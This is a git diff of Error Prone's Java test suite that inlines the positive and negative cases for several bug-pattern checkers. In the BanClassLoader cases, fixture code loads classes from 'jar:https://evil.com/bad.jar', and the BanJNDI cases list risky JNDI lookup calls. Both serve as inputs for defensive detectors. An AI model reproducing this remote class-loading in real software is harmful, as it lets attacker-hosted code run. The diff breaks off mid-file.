= + new Comparator() { + // To match the Comparator API. + @Override + public int compare(Number n1, Number n2) { + return (int) (n1.intValue() - n2.intValue()); + } + + public long compare(long n1, long n2) { + return (long) (n1 - n2); + } + }; + + static final Comparator COMPARATOR_UNBOXED_NON_NARROW_INT_CAST = + new Comparator() { + public int compare(Number n1, Number n2) { + return (int) (n1.intValue() - n2.intValue()); + } + }; + + static final Comparator COMPARATOR_UNBOXED_NON_NARROW_SHORT_CAST = + new Comparator() { + // To match the Comparator API. + @Override + public int compare(Number n1, Number n2) { + return (int) (n1.intValue() - n2.intValue()); + } + + public short compare(short n1, short n2) { + return (short) (n1 - n2); + } + }; + + static final Comparator COMPARATOR_UNBOXED_NON_NARROW_BYTE_CAST = + new Comparator() { + // To match the Comparator API. + @Override + public int compare(Number n1, Number n2) { + return (int) (n1.intValue() - n2.intValue()); + } + + public byte compare(byte n1, byte n2) { + return (byte) (n1 - n2); + } + }; + + // Not signed conversions. + static final Comparator COMPARATOR_UNBOXED_NON_NARROW_CHAR_CAST = + new Comparator() { + @Override + public int compare(Number n1, Number n2) { + return (char) (n1.shortValue() - n2.shortValue()); + } + + public char compare(char n1, char n2) { + return (char) (n1 - n2); + } + + public char compare(byte n1, byte n2) { + return (char) (n1 - n2); + } + }; + }""") + .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/BadImportTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/BadImportTest.java index c0ccd567756..cfa2c8ea462 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/BadImportTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/BadImportTest.java @@ -181,7 +181,70 @@ void foo() { @Test public void positive_nested() { - compilationTestHelper.addSourceFile("testdata/BadImportPositiveCases.java").doTest(); + compilationTestHelper + .addSourceLines( + "BadImportPositiveCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import com.google.common.collect.ImmutableList; +import com.google.common.collect.ImmutableList.Builder; +import org.jspecify.annotations.Nullable; + +/** + * Tests for {@link BadImport}. + * + * @author awturner@google.com (Andy Turner) + */ +class BadImportPositiveCases { + public void variableDeclarations() { + // Only the first match is reported; but all occurrences are fixed. + // BUG: Diagnostic contains: ImmutableList.Builder + Builder qualified; + Builder raw; + } + + public void variableDeclarationsNestedGenerics() { + Builder> builder1; + Builder builder1Raw; + ImmutableList.Builder> builder2; + ImmutableList.Builder builder2Raw; + } + + @Nullable + Builder<@Nullable Builder<@Nullable String>> parameterizedWithTypeUseAnnotationMethod() { + return null; + } + + public void variableDeclarationsNestedGenericsAndTypeUseAnnotations() { + + @Nullable Builder<@Nullable String> parameterizedWithTypeUseAnnotation1; + + @Nullable Builder<@Nullable Builder<@Nullable String>> parameterizedWithTypeUseAnnotation2; + } + + public void newClass() { + new Builder(); + new Builder>(); + } + + Builder returnGenericExplicit() { + return new Builder(); + } + + Builder returnGenericDiamond() { + return new Builder<>(); + } + + Builder returnRaw() { + return new Builder(); + } + + void classLiteral() { + System.out.println(Builder.class); + } +}""") + .doTest(); } @Test @@ -262,7 +325,37 @@ static class B {} @Test public void negative_nested() { - compilationTestHelper.addSourceFile("testdata/BadImportNegativeCases.java").doTest(); + compilationTestHelper + .addSourceLines( + "BadImportNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import com.google.common.collect.ImmutableList; + + /** + * Tests for {@link BadImport}. + * + * @author awturner@google.com (Andy Turner) + */ + public class BadImportNegativeCases { + public void qualified() { + ImmutableList.Builder qualified; + com.google.common.collect.ImmutableList.Builder fullyQualified; + ImmutableList.Builder raw; + + new ImmutableList.Builder(); + } + + static class Nested { + static class Builder {} + + void useNestedBuilder() { + new Builder(); + } + } + }""") + .doTest(); } @Test @@ -284,8 +377,128 @@ public void negative_badImportIsTopLevelClass() { @Test public void nestedFixes() { refactoringTestHelper - .addInput("testdata/BadImportPositiveCases.java") - .addOutput("testdata/BadImportPositiveCases_expected.java") + .addInputLines( + "BadImportPositiveCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import com.google.common.collect.ImmutableList; +import com.google.common.collect.ImmutableList.Builder; +import org.jspecify.annotations.Nullable; + +/** + * Tests for {@link BadImport}. + * + * @author awturner@google.com (Andy Turner) + */ +class BadImportPositiveCases { + public void variableDeclarations() { + // Only the first match is reported; but all occurrences are fixed. + // BUG: Diagnostic contains: ImmutableList.Builder + Builder qualified; + Builder raw; + } + + public void variableDeclarationsNestedGenerics() { + Builder> builder1; + Builder builder1Raw; + ImmutableList.Builder> builder2; + ImmutableList.Builder builder2Raw; + } + + @Nullable + Builder<@Nullable Builder<@Nullable String>> parameterizedWithTypeUseAnnotationMethod() { + return null; + } + + public void variableDeclarationsNestedGenericsAndTypeUseAnnotations() { + + @Nullable Builder<@Nullable String> parameterizedWithTypeUseAnnotation1; + + @Nullable Builder<@Nullable Builder<@Nullable String>> parameterizedWithTypeUseAnnotation2; + } + + public void newClass() { + new Builder(); + new Builder>(); + } + + Builder returnGenericExplicit() { + return new Builder(); + } + + Builder returnGenericDiamond() { + return new Builder<>(); + } + + Builder returnRaw() { + return new Builder(); + } + + void classLiteral() { + System.out.println(Builder.class); + } +}""") + .addOutputLines( + "BadImportPositiveCases_expected.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import com.google.common.collect.ImmutableList; +import org.jspecify.annotations.Nullable; + +/** + * Tests for {@link BadImport}. + * + * @author awturner@google.com (Andy Turner) + */ +class BadImportPositiveCases { + public void variableDeclarations() { + ImmutableList.Builder qualified; + ImmutableList.Builder raw; + } + + public void variableDeclarationsNestedGenerics() { + ImmutableList.Builder> builder1; + ImmutableList.Builder builder1Raw; + ImmutableList.Builder> builder2; + ImmutableList.Builder builder2Raw; + } + + ImmutableList.@Nullable Builder> + parameterizedWithTypeUseAnnotationMethod() { + return null; + } + + public void variableDeclarationsNestedGenericsAndTypeUseAnnotations() { + + ImmutableList.@Nullable Builder<@Nullable String> parameterizedWithTypeUseAnnotation1; + + ImmutableList.@Nullable Builder> + parameterizedWithTypeUseAnnotation2; + } + + public void newClass() { + new ImmutableList.Builder(); + new ImmutableList.Builder>(); + } + + ImmutableList.Builder returnGenericExplicit() { + return new ImmutableList.Builder(); + } + + ImmutableList.Builder returnGenericDiamond() { + return new ImmutableList.Builder<>(); + } + + ImmutableList.Builder returnRaw() { + return new ImmutableList.Builder(); + } + + void classLiteral() { + System.out.println(ImmutableList.Builder.class); + } +}""") .doTest(TestMode.AST_MATCH); } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/BadShiftAmountTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/BadShiftAmountTest.java index c962aaf1c69..7b0eb68bf4f 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/BadShiftAmountTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/BadShiftAmountTest.java @@ -32,11 +32,79 @@ public class BadShiftAmountTest { @Test public void positiveCase() { - compilationHelper.addSourceFile("testdata/BadShiftAmountPositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "BadShiftAmountPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * @author Bill Pugh (bill.pugh@gmail.com) + */ + public class BadShiftAmountPositiveCases { + + public void foo() { + int x = 0; + long result = 0; + + // BUG: Diagnostic contains: (long) x >> 32 + result += x >> 32; + // BUG: Diagnostic contains: (long) x << 32 + result += x << 32; + // BUG: Diagnostic contains: (long) x >>> 32 + result += x >>> 32; + // BUG: Diagnostic contains: (long) x >> 40 + result += x >> 40; + // BUG: Diagnostic contains: (long) (x & 255) >> 40 + result += (x & 255) >> 40; + + // BUG: Diagnostic contains: 1L << 48 + result += 1 << 48; + + // BUG: Diagnostic contains: x >> 4 + result += x >> 100; + // BUG: Diagnostic contains: x >> 31 + result += x >> -1; + + byte b = 0; + char c = 'a'; + + // BUG: Diagnostic contains: (long) b >> 32 + result += b >> 32; + // BUG: Diagnostic contains: (long) b << 32 + result += b << 32; + // BUG: Diagnostic contains: (long) c >> 32 + result += c >> 32; + // BUG: Diagnostic contains: (long) c >>> 32 + result += c >>> 32; + } + }""") + .doTest(); } @Test public void negativeCase() { - compilationHelper.addSourceFile("testdata/BadShiftAmountNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "BadShiftAmountNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * @author Bill Pugh (bill.pugh@gmail.com) + */ + public class BadShiftAmountNegativeCases { + + public void foo() { + int x = 0; + long result = 0; + + result += (long) x >> 3; + result += x << 3; + result += x >>> 3; + result += (long) (x & 0xff) >> 40; + } + }""") + .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/BanClassLoaderTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/BanClassLoaderTest.java index 383813d110a..c089d8ab5b0 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/BanClassLoaderTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/BanClassLoaderTest.java @@ -33,11 +33,87 @@ public class BanClassLoaderTest { @Test public void positiveCase() { - compilationHelper.addSourceFile("testdata/BanClassLoaderPositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "BanClassLoaderPositiveCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import static java.rmi.server.RMIClassLoader.loadClass; + +import java.lang.invoke.MethodHandles; +import java.net.MalformedURLException; +import java.net.URL; +import java.net.URLClassLoader; + +class BanClassLoaderPositiveCases { + /** Override loadClass with an insecure implementation. */ + // BUG: Diagnostic contains: BanClassLoader + class InsecureClassLoader extends URLClassLoader { + public InsecureClassLoader() { + super(new URL[0]); + } + + @Override + protected Class loadClass(String name, boolean resolve) throws ClassNotFoundException { + try { + addURL(new URL("jar:https://evil.com/bad.jar")); + } catch (MalformedURLException e) { + } + return findClass(name); + } + } + + /** Calling static methods in java.rmi.server.RMIClassLoader. */ + public static final Class loadRMI() throws ClassNotFoundException, MalformedURLException { + // BUG: Diagnostic contains: BanClassLoader + return loadClass("evil.com", "BadClass"); + } + + /** Calling constructor of java.net.URLClassLoader. */ + public ClassLoader loadFromURL() throws MalformedURLException { + // BUG: Diagnostic contains: BanClassLoader + URLClassLoader loader = new URLClassLoader(new URL[] {new URL("jar:https://evil.com/bad.jar")}); + return loader; + } + + /** Calling methods of nested class. */ + public static final Class methodHandlesDefineClass(byte[] bytes) + throws IllegalAccessException { + // BUG: Diagnostic contains: BanClassLoader + return MethodHandles.lookup().defineClass(bytes); + } +}""") + .doTest(); } @Test public void negativeCase() { - compilationHelper.addSourceFile("testdata/BanClassLoaderNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "BanClassLoaderNegativeCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import java.net.URL; +import java.net.URLClassLoader; +import java.security.SecureClassLoader; + +class BanClassLoaderPositiveCases { + /** OK to extend SecureClassLoader */ + class AnotherSecureClassLoader extends SecureClassLoader {} + + /** OK to call loadClass if it's not on RMIClassLoader */ + public final Class overrideClassLoader() throws ClassNotFoundException { + SecureClassLoader loader = new AnotherSecureClassLoader(); + return loader.loadClass("BadClass"); + } + + /** OK to define loadClass */ + private class NotClassLoader { + protected void loadClass() {} + } +}""") + .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/BanJNDITest.java b/core/src/test/java/com/google/errorprone/bugpatterns/BanJNDITest.java index bffc2e6e6db..a5024402357 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/BanJNDITest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/BanJNDITest.java @@ -33,18 +33,199 @@ public class BanJNDITest { @Test public void positiveCase() { - compilationHelper.addSourceFile("testdata/BanJNDIPositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "BanJNDIPositiveCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import java.io.IOException; +import java.util.Hashtable; +import javax.management.remote.JMXConnector; +import javax.management.remote.JMXConnectorFactory; +import javax.management.remote.JMXServiceURL; +import javax.management.remote.rmi.RMIConnector; +import javax.naming.Context; +import javax.naming.InitialContext; +import javax.naming.Name; +import javax.naming.NamingException; +import javax.naming.directory.Attributes; +import javax.naming.directory.DirContext; +import javax.sql.rowset.spi.SyncFactory; +import javax.sql.rowset.spi.SyncFactoryException; + +/** + * {@link BanJNDITest} + * + * @author tshadwell@google.com (Thomas Shadwell) + */ +class BanJNDIPositiveCases { + private static DirContext FakeDirContext = ((DirContext) new Object()); + + private void callsModifyAttributes() throws NamingException { + // BUG: Diagnostic contains: BanJNDI + FakeDirContext.modifyAttributes(((Name) new Object()), 0, ((Attributes) new Object())); + } + + private void callsGetAttributes() throws NamingException { + // BUG: Diagnostic contains: BanJNDI + FakeDirContext.getAttributes(((Name) new Object())); + } + + private void callsSearch() throws NamingException { + // BUG: Diagnostic contains: BanJNDI + FakeDirContext.search(((Name) new Object()), ((Attributes) new Object())); + } + + private void callsGetSchema() throws NamingException { + // BUG: Diagnostic contains: BanJNDI + FakeDirContext.getSchema(((Name) new Object())); + } + + private void callsGetSchemaClassDefinition() throws NamingException { + // BUG: Diagnostic contains: BanJNDI + FakeDirContext.getSchemaClassDefinition(((Name) new Object())); + } + + private static Context FakeContext = ((Context) new Object()); + + private void callsLookup() throws NamingException { + // BUG: Diagnostic contains: BanJNDI + FakeContext.lookup("hello"); + } + + private void callsSubclassLookup() throws NamingException { + // BUG: Diagnostic contains: BanJNDI + FakeDirContext.lookup("hello"); + } + + private void callsBind() throws NamingException { + // BUG: Diagnostic contains: BanJNDI + FakeContext.bind(((Name) new Object()), new Object()); + } + + private void subclassCallsBind() throws NamingException { + // BUG: Diagnostic contains: BanJNDI + FakeDirContext.bind(((Name) new Object()), new Object()); + } + + private void callsRebind() throws NamingException { + // BUG: Diagnostic contains: BanJNDI + FakeContext.rebind(((Name) new Object()), new Object()); + } + + private void subclassCallsRebind() throws NamingException { + // BUG: Diagnostic contains: BanJNDI + FakeDirContext.rebind(((Name) new Object()), new Object()); + } + + private void callsCreateSubcontext() throws NamingException { + // BUG: Diagnostic contains: BanJNDI + FakeContext.createSubcontext((Name) new Object()); + } + + private void subclassCallsCreateSubcontext() throws NamingException { + // BUG: Diagnostic contains: BanJNDI + FakeDirContext.createSubcontext((Name) new Object()); + } + + RMIConnector fakeRMIConnector = ((RMIConnector) new Object()); + + private void callsRMIConnect() throws IOException { + // BUG: Diagnostic contains: BanJNDI + fakeRMIConnector.connect(); + } + + private void callsEnumerateBindings() throws SyncFactoryException { + // BUG: Diagnostic contains: BanJNDI + SyncFactory.getInstance("fear is the little-death"); + } + + // unable to load javax.jdo for testing (must be some super optional pkg?) + + private void callsJMXConnectorFactoryConnect() throws IOException { + // BUG: Diagnostic contains: BanJNDI + JMXConnectorFactory.connect(((JMXServiceURL) new Object())); + } + + private void callsDoLookup() throws NamingException { + // BUG: Diagnostic contains: BanJNDI + InitialContext.doLookup(((Name) new Object())); + } + + private static boolean callToJMXConnectorFactoryConnect() + throws java.net.MalformedURLException, java.io.IOException { + JMXConnector connector = + // BUG: Diagnostic contains: BanJNDI + JMXConnectorFactory.connect( + new JMXServiceURL("service:jmx:rmi:///jndi/rmi:// fake data 123 ")); + connector.connect(); + + return false; + } + + private Object subclassesJavaNamingcontext() throws NamingException { + InitialContext c = new InitialContext(new Hashtable(0)); + // BUG: Diagnostic contains: BanJNDI + return c.lookup("hello"); + } +}""") + .doTest(); } @Test public void negativeCase() { - compilationHelper.addSourceFile("testdata/BanJNDINegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "BanJNDINegativeCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import javax.naming.Name; +import javax.naming.NamingException; +import javax.naming.directory.DirContext; + +/** + * {@link BanJNDITest} + * + * @author tshadwell@google.com (Thomas Shadwell) + */ +class BanJNDIPositiveCases { + private static DirContext FakeDirContext = ((DirContext) new Object()); + + // Check we didn't ban all of Context by accident. + private void callsList() throws NamingException { + FakeDirContext.list(((Name) new Object())); + } +}""") + .doTest(); } @Test public void negativeCaseUnchanged() { refactoringHelper - .addInput("testdata/BanJNDINegativeCases.java") + .addInputLines( + "BanJNDINegativeCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import javax.naming.Name; +import javax.naming.NamingException; +import javax.naming.directory.DirContext; + +/** + * {@link BanJNDITest} + * + * @author tshadwell@google.com (Thomas Shadwell) + */ +class BanJNDIPositiveCases { + private static DirContext FakeDirContext = ((DirContext) new Object()); + + // Check we didn't ban all of Context by accident. + private void callsList() throws NamingException { + FakeDirContext.list(((Name) new Object())); + } +}""") .expectUnchanged() .setArgs("-XepCompilingTestOnlyCode") .doTest(); diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/ByteBufferBackingArrayTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/ByteBufferBackingArrayTest.java index 8a02e1c993d..7654fa0f6ff 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/ByteBufferBackingArrayTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/ByteBufferBackingArrayTest.java @@ -30,12 +30,226 @@ public class ByteBufferBackingArrayTest { @Test public void positiveCases() { - compilationHelper.addSourceFile("testdata/ByteBufferBackingArrayPositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "ByteBufferBackingArrayPositiveCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import com.google.errorprone.bugpatterns.ByteBufferBackingArrayTest; +import java.nio.ByteBuffer; + +/** Positive cases for {@link ByteBufferBackingArrayTest}. */ +public class ByteBufferBackingArrayPositiveCases { + + public void array_notPrecededByOffsetNorValidInitializer_asLocalVariable_isFlagged() { + ByteBuffer buff = null; + // BUG: Diagnostic contains: ByteBuffer.array() + buff.array(); + } + + class A { + + ByteBuffer buff = null; + + void array_notPrecededByOffsetNorValidInitializer_asField_isFlagged() { + // BUG: Diagnostic contains: ByteBuffer.array() + buff.array(); + } + } + + class ArrayCalledInFieldNotPrecededByOffsetNorValidInitializerAsFieldIsFlagged { + ByteBuffer buffer = null; + // BUG: Diagnostic contains: ByteBuffer.array() + byte[] array = buffer.array(); + } + + void array_notPrecededByOffsetNorValidInitializer_asMethodParameter_isFlagged(ByteBuffer buffer) { + // BUG: Diagnostic contains: ByteBuffer.array() + buffer.array(); + } + + void array_followedByWrap_isFlagged() { + ByteBuffer buff = null; + // BUG: Diagnostic contains: ByteBuffer.array() + buff.array(); + buff = ByteBuffer.wrap(new byte[] {1}); + } + + void array_followedByAllocate_isFlagged() { + ByteBuffer buff = null; + // BUG: Diagnostic contains: ByteBuffer.array() + buff.array(); + buff = ByteBuffer.allocate(1); + } + + void array_precededByAllocateDirect_isFlagged() { + ByteBuffer buff = null; + buff = ByteBuffer.allocateDirect(1); + // BUG: Diagnostic contains: ByteBuffer.array() + buff.array(); + } + + void array_precededByAllocateOnAnotherBuffer_isFlagged() { + ByteBuffer otherBuff = ByteBuffer.allocate(1); + ByteBuffer buff = null; + otherBuff.arrayOffset(); + // BUG: Diagnostic contains: ByteBuffer.array() + buff.array(); + } + + void array_precededByNotAValidMethod_isFlagged() { + ByteBuffer buff = null; + buff.position(); + // BUG: Diagnostic contains: ByteBuffer.array() + buff.array(); + } +}""") + .doTest(); } @Test public void negativeCases() { - compilationHelper.addSourceFile("testdata/ByteBufferBackingArrayNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "ByteBufferBackingArrayNegativeCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import com.google.errorprone.bugpatterns.ByteBufferBackingArrayTest; +import java.nio.ByteBuffer; +import java.util.function.Function; + +/** Negative cases for {@link ByteBufferBackingArrayTest}. */ +public class ByteBufferBackingArrayNegativeCases { + + void noArrayCall_isNotFlagged() { + ByteBuffer buffer = null; + buffer.position(); + } + + void array_precededByArrayOffset_isNotFlagged() { + ByteBuffer buffer = null; + buffer.arrayOffset(); + buffer.array(); + } + + void array_precededByArrayOffset_onOuterScope_isNotFlagged() { + ByteBuffer buffer = null; + buffer.arrayOffset(); + if (true) { + while (true) { + buffer.array(); + } + } + } + + void array_precededByByteBufferWrap_isNotFlagged() { + ByteBuffer buffer = ByteBuffer.wrap(new byte[] {1}); + buffer.array(); + } + + void array_precededByByteBufferAllocate_isNotFlagged() { + ByteBuffer buffer = ByteBuffer.allocate(1); + buffer.array(); + } + + // Ideally, this case should be flagged though. + void array_followedByByteBufferArrayOffset_isNotFlagged() { + ByteBuffer buffer = null; + buffer.array(); + buffer.arrayOffset(); + } + + // Ideally, this case should be flagged though. + void array_followedByArrayOffset_inExpression_isNotFlagged() { + ByteBuffer buffer = null; + byte[] outBytes; + int outOffset; + int outPos; + if (buffer.hasArray()) { + outBytes = buffer.array(); + outPos = outOffset = buffer.arrayOffset() + buffer.position(); + } + } + + void array_precededByByteBufferAllocate_inSplitMethodChain_isNotFlagged() { + ByteBuffer buffer = ByteBuffer.allocate(1).put((byte) 'a'); + buffer.array(); + } + + public void array_immediatelyPrecededByByteBufferAllocate_inContinuousMethodChain_isNotFlagged() + throws Exception { + ByteBuffer.allocate(0).array(); + } + + void array_precededByByteBufferAllocate_inContinuousMethodChain_isNotFlagged() { + ByteBuffer.allocate(Long.SIZE / Byte.SIZE).putLong(1L).array(); + } + + byte[] array_inMethodChain_precededByByteBufferAllocate_isNotFlagged() { + ByteBuffer buffer = ByteBuffer.allocate(1); + return buffer.put(new byte[] {1}).array(); + } + + class A { + // Ideally, this case should be flagged though. + void array_inMethodChain_whereByteBufferIsNotAtStartOfChain_isNotFlagged() { + A helper = new A(); + helper.getBuffer().put((byte) 1).array(); + } + + ByteBuffer getBuffer() { + return null; + } + } + + class B { + ByteBuffer buffer = ByteBuffer.allocate(1); + + void array_precededByByteBufferAllocate_inField_isNotFlagged() { + buffer.array(); + } + } + + class C { + ByteBuffer buffer = ByteBuffer.allocate(1); + + class A { + void array_precededByByteBufferAllocate_inFieldOfParentClass_isNotFlagged() { + buffer.array(); + } + } + } + + class ArrayInFieldPrecededByByteBufferAllocateInFieldIsNotFlagged { + ByteBuffer buffer = ByteBuffer.allocate(1); + byte[] array = buffer.array(); + } + + void array_inAnonymousClass_precededByByteBufferAllocate_isNotFlagged() { + final ByteBuffer buffer = ByteBuffer.allocate(0); + + new Function() { + @Override + public Object apply(Object o) { + buffer.array(); + return null; + } + }; + } + + void array_inLambdaExpression_precededByByteBufferAllocate_isNotFlagged() { + final ByteBuffer buffer = ByteBuffer.allocate(0); + + Function f = + (Void unused) -> { + buffer.array(); + return null; + }; + } +}""") + .doTest(); } @Test diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/CannotMockFinalClassTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/CannotMockFinalClassTest.java index 19a9eddcb65..f038e3d0b57 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/CannotMockFinalClassTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/CannotMockFinalClassTest.java @@ -35,7 +35,29 @@ public class CannotMockFinalClassTest { @Test public void positiveCase() { - compilationHelper.addSourceFile("testdata/CannotMockFinalClassPositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "CannotMockFinalClassPositiveCases.java", + """ + import org.junit.runner.RunWith; + import org.junit.runners.JUnit4; + import org.mockito.Mock; + import org.mockito.Mockito; + + /** Test for CannotMockFinalClass. */ + @RunWith(JUnit4.class) + public class CannotMockFinalClassPositiveCases { + static final class FinalClass {} + + // BUG: Diagnostic contains: Mockito cannot mock + @Mock FinalClass impossible; + + public void method() { + // BUG: Diagnostic contains: Mockito cannot mock + FinalClass local = Mockito.mock(FinalClass.class); + } + }""") + .doTest(); } @Test @@ -64,11 +86,48 @@ record Record() {} @Test public void negativeCase() { - compilationHelper.addSourceFile("testdata/CannotMockFinalClassNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "CannotMockFinalClassNegativeCases.java", + """ + import org.junit.runner.RunWith; + import org.junit.runners.JUnit4; + import org.mockito.Mock; + import org.mockito.Mockito; + + /** Test for CannotMockFinalClass. */ + @RunWith(JUnit4.class) + public class CannotMockFinalClassNegativeCases { + static class NonFinalClass {} + + @Mock NonFinalClass okToMock; + + public void method() { + NonFinalClass local = Mockito.mock(NonFinalClass.class); + } + }""") + .doTest(); } @Test public void negativeCase2() { - compilationHelper.addSourceFile("testdata/CannotMockFinalClassNegativeCases2.java").doTest(); + compilationHelper + .addSourceLines( + "CannotMockFinalClassNegativeCases2.java", + """ + import org.mockito.Mock; + import org.mockito.Mockito; + + /** Test for CannotMockFinalClass in the absence of @RunWith(JUnit4.class). */ + public class CannotMockFinalClassNegativeCases2 { + static final class FinalClass {} + + @Mock FinalClass impossible; + + public void method() { + FinalClass local = Mockito.mock(FinalClass.class); + } + }""") + .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/ChainedAssertionLosesContextTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/ChainedAssertionLosesContextTest.java index e1850d78506..494f0f7140f 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/ChainedAssertionLosesContextTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/ChainedAssertionLosesContextTest.java @@ -32,14 +32,165 @@ public class ChainedAssertionLosesContextTest { @Test public void positiveCase() { compilationHelper - .addSourceFile("testdata/ChainedAssertionLosesContextPositiveCases.java") + .addSourceLines( + "ChainedAssertionLosesContextPositiveCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import static com.google.common.truth.Truth.assertAbout; +import static com.google.common.truth.Truth.assertWithMessage; +import static com.google.common.truth.Truth.assert_; + +import com.google.common.truth.FailureMetadata; +import com.google.common.truth.Subject; +import com.google.common.truth.Truth; + +/** + * @author cpovirk@google.com (Chris Povirk) + */ +public class ChainedAssertionLosesContextPositiveCases { + static final class FooSubject extends Subject { + private final Foo actual; + + static Factory foos() { + return FooSubject::new; + } + + static FooSubject assertThat(Foo foo) { + return assertAbout(foos()).that(foo); + } + + private FooSubject(FailureMetadata metadata, Foo actual) { + super(metadata, actual); + this.actual = actual; + } + + void hasString(String expected) { + // BUG: Diagnostic contains: check("string()").that(actual.string()).isEqualTo(expected) + Truth.assertThat(actual.string()).isEqualTo(expected); + } + + void hasOtherFooInteger(int expected) { + // BUG: Diagnostic contains: + // check("otherFoo().integer()").that(actual.otherFoo().integer()).isEqualTo(expected) + Truth.assertThat(actual.otherFoo().integer()).isEqualTo(expected); + } + + FooSubject otherFooAbout() { + // BUG: Diagnostic contains: check("otherFoo()").about(foos()).that(actual.otherFoo()) + return assertAbout(foos()).that(actual.otherFoo()); + } + + FooSubject otherFooThat() { + // BUG: Diagnostic contains: check("otherFoo()").about(foos()).that(actual.otherFoo()) + return assertThat(actual.otherFoo()); + } + + void withMessage(String expected) { + // BUG: Diagnostic contains: + // check("string()").withMessage("blah").that(actual.string()).isEqualTo(expected) + assertWithMessage("blah").that(actual.string()).isEqualTo(expected); + } + + void withMessageWithArgs(String expected) { + // BUG: Diagnostic contains: + // check("string()").withMessage("%s", "blah").that(actual.string()).isEqualTo(expected) + assertWithMessage("%s", "blah").that(actual.string()).isEqualTo(expected); + } + + void plainAssert(String expected) { + // BUG: Diagnostic contains: + // check("string()").that(actual.string()).isEqualTo(expected) + assert_().that(actual.string()).isEqualTo(expected); + } + } + + private static final class Foo { + final String string; + final int integer; + + Foo(String string, int integer) { + this.string = string; + this.integer = integer; + } + + String string() { + return string; + } + + int integer() { + return integer; + } + + Foo otherFoo() { + return this; + } + } +}""") .doTest(); } @Test public void negativeCase() { compilationHelper - .addSourceFile("testdata/ChainedAssertionLosesContextNegativeCases.java") + .addSourceLines( + "ChainedAssertionLosesContextNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import static com.google.common.truth.Truth.assertAbout; + import static com.google.common.truth.Truth.assertThat; + + import com.google.common.truth.FailureMetadata; + import com.google.common.truth.Subject; + + /** + * @author cpovirk@google.com (Chris Povirk) + */ + public class ChainedAssertionLosesContextNegativeCases { + static final class FooSubject extends Subject { + private final Foo actual; + + private FooSubject(FailureMetadata metadata, Foo actual) { + super(metadata, actual); + this.actual = actual; + } + + static Factory foos() { + return FooSubject::new; + } + + static FooSubject assertThat(Foo foo) { + return assertAbout(foos()).that(foo); + } + } + + void someTestMethod() { + assertThat("").isNotNull(); + } + + private static final class Foo { + final String string; + final int integer; + + Foo(String string, int integer) { + this.string = string; + this.integer = integer; + } + + String string() { + return string; + } + + int integer() { + return integer; + } + + Foo otherFoo() { + return this; + } + } + }""") .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/ChainingConstructorIgnoresParameterTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/ChainingConstructorIgnoresParameterTest.java index e9e3506aac7..e912ac10e52 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/ChainingConstructorIgnoresParameterTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/ChainingConstructorIgnoresParameterTest.java @@ -32,14 +32,207 @@ public class ChainingConstructorIgnoresParameterTest { @Test public void positiveCase() { compilationHelper - .addSourceFile("testdata/ChainingConstructorIgnoresParameterPositiveCases.java") + .addSourceLines( + "ChainingConstructorIgnoresParameterPositiveCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import static com.google.errorprone.bugpatterns.testdata.ChainingConstructorIgnoresParameterPositiveCases.Location.TEST_TARGET; + +/** + * @author cpovirk@google.com (Chris Povirk) + */ +public class ChainingConstructorIgnoresParameterPositiveCases { + static class MissileLauncher { + MissileLauncher(Location target, boolean askForConfirmation) {} + + MissileLauncher(Location target) { + this(target, false); + } + + MissileLauncher(boolean askForConfirmation) { + // BUG: Diagnostic contains: this(TEST_TARGET, askForConfirmation) + this(TEST_TARGET, false); + } + } + + static class 